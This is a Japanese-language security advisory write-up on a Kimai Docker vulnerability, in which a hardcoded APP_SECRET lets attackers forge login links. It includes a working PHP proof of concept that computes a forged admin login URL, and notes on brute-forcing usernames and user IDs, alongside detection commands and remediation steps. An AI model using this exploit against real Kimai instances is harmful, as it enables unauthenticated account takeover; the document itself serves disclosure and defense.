| フィールド | 値 |
|---|
| CVE | CVE-2026-52824 |
| アドバイザリ | GHSA-jr9p-4h4j-6c58 |
| 重大度 | Critical |
| CWE | CWE-1188, 安全でないデフォルトによるリソースの初期化 |
| 影響を受けるバージョン | kimai/kimai <= 2.57.0 |
| 修正バージョン | 2.58.0 |
| アドバイザリ公開日 | 2026-06-11 |
| GitHub Advisory Database への追加日 | 2026-07-14 |
| 報告者 | AzureADTrent |
公式の Kimai Docker イメージには、ハードコードされた APP_SECRET が同梱されていました。この値は Symfony の kernel.secret となり、ログインリンク、リメンバーミークッキー、パスワードリセット URL、CSRF トークンの署名に使用されます。Kimai のログインリンク署名がユーザーの id のみを対象としていたため、既知のシークレットを持つ認証されていない攻撃者は、オフラインで有効なログインリンクを計算し、任意のユーザーとして認証できました。
Dockerfile:263 で次のように設定されていました:
ENV APP_SECRET=change_this_to_something_unique
config/packages/framework.yaml:7 はこれを kernel.secret として使用します:
secret: '%env(APP_SECRET)%'
.docker/entrypoint.sh はセンチネル値のチェックを行わず、.env.dist:38 はベアメタルインストール用に同じデフォルト値を同梱していました。デフォルト値での起動を拒否するスタートアップガードはありませんでした。
したがって、APP_SECRET を明示的に上書きしなかった Docker デプロイメントはすべて、公に知られた署名鍵で実行されていました。
Kimai は /en/auth/link/check でログインリンクを user、expires、hash パラメータとともに処理します。hash は 44 文字の HMAC と 44 文字のフィールドハッシュを直接連結したもので、オフセット 44 で分割する acceptSignatureHash() に対応しています。
<?php
$secret = 'change_this_to_something_unique';
$username = 'admin';
$userId = 1;
$expires = time() + 360;
// signature_properties: ['id']
// $userId is passed as an int, mirroring what PropertyAccessor hands to
// base64_encode() upstream. Under declare(strict_types=1) this needs an
// explicit (string) cast; the coercion is what the framework itself relies on.
$ctx = hash_init('sha256');
hash_update($ctx, ':' . base64_encode($userId));
$fieldsHash = strtr(base64_encode(hash_final($ctx, true)), '+/=', '-_~');
// generateHash(fieldsHash:expires:userIdentifier)
$input = $fieldsHash . ':' . $expires . ':' . $username;
$signatureHash = strtr(base64_encode(hash_hmac('sha256', $input, $secret, true)), '+/=', '-_~');
$hash = $signatureHash . $fieldsHash;
$url = "/en/auth/link/check?user=" . urlencode($username)
. "&expires=" . $expires
. "&hash=" . $hash;
echo "Forged login link:\n$url\n";
リクエストが成功すると 302 が返され、ターゲットアカウント用の KIMAI_REMEMBER クッキーが設定されます。
expires は HMAC 内にあり攻撃者が制御でき、検証は過去のタイムスタンプを拒否するだけです — verifySignatureHash() は $expires < time() のみをテストし、他には何もテストしません。設定された lifetime: 900 はリンクの生成のみを対象としており、検証中には一切参照されないため、偽造されたリンクには任意に遠い有効期限を設定できます。
max_uses: 3 も同様に無関係です。これは発行済みの単一リンクの再利用を制限するものですが、攻撃者は試行ごとに新しいリンクを生成できます。
アドバイザリには 3 つの前提条件が記載されています:ユーザー名が既知であること、正しいアカウント ID が推測されること、アカウントにアクティブな 2FA がないことです。
実際にはこれらの前提条件は脆弱です。ユーザー ID は 1 から順に採番され、最初の super_admin は通常 ID 1 です。また、各試行は単一の認証されていない GET です。ユーザー名と ID 空間を総当たりできます。攻撃を実質的に阻止できるのは 2 要素認証だけです。
ローカルでの確認方法:
docker exec <container> printenv APP_SECRET
docker exec <container> cat /opt/kimai/.env.local
docker exec <container> ls -l /opt/kimai/var/data/.appsecret
センチネル値の APP_SECRET が設定されており、.appsecret ファイルが存在しない場合は、脆弱なデプロイメントを示しています。
2.58.0 以降にアップグレードしてください。修正内容は次のとおりです:
APP_SECRET を削除bin2hex(random_bytes(32)) でシークレットを生成し、/opt/kimai/var/data/.appsecret に保存して /opt/kimai/.env.local に書き込むエントリポイントスクリプトを追加すぐにアップグレードできない場合は、一意で高エントロピーのシークレットを明示的に設定してください:
docker run -e APP_SECRET=$(openssl rand -hex 32) ...
APP_SECRET のローテーションにより、既存のリメンバーミークッキー、保留中のパスワードリセットリンク、進行中の CSRF トークンが無効になります。ユーザーは再度ログインする必要があります。ローテーションとセッション無効化は、露出が確認できるかどうかに関係なく実行しても安全です。自身の状態を判断できない運用担当者は、推測するのではなくローテーションを実行すべきです。
projectdiscovery/nuclei-templates で公開本解説は、このメカニズムが独立に公開されるまで公開を保留していました。